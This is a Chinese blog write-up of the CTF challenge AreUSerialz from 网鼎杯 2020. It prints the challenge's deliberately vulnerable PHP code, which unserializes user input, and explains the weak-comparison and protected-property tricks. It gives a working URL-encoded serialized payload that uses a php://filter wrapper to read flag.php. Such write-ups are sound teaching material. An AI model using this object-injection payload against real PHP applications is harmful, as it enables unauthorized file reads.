网鼎杯2020青龙组AreUSerialz1
Q7nl1s admin

[网鼎杯 2020 青龙组]AreUSerialz1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

打开靶机,是一道php反序列化题

审计一下分成几块来讲

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

is_valid()函数的作用是判断传入的字符串中的每个字节的ASCII码是否都在32-125以内的

在反序列化中,先调用__destruct()析构方法:

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

__destruct()代码中可以看到,如果op === “2”,那么op会被赋值为”1”,然后content会赋值为空,并执行process()函数,这里 if 中的判断语句用的是强类型比较。
然后看看process()函数:

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

代码内容为:如果op == “1”,执行write()函数;如果op ==“2”,执行read()函数,同时将结果赋值给$res,然后输出;否则将输出”Bad Hacker!”。

这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == “2”则为True,就可以进入read()函数。

再看看read()函数:

1
2
3
4
5
6
7
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

read()函数中,使用filename调用file_get_contents()函数将文件内容赋值给$res输出。

一开始没想到可以直接读取flag.php中的内容,看了师傅们的wp才知道,这里的filename是我们可控的,那么可以用php://filter伪协议读取文件。然后使用output()函数输出。

1
2
3
4
private function output($s) {
echo "[Result]: <br>";
echo $s;
}

那么现在整个反序列过程就清楚了:

1
2
将op = 2
filename = "php://filter/read=convert.base64-encode/resource=flag.php"

一开始我使用的payload是

1
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

发现怎么也没有回显

查了一下才知道

原因是在于 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。

1

最后的payload是

1
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

2

base64解码

3

拿到flag

总结

  1. php7.1+版本对属性类型不敏感
  2. 可以用php://filter伪协议读取可控文件
  3. protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0
  4. 注意强弱比较的区别
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View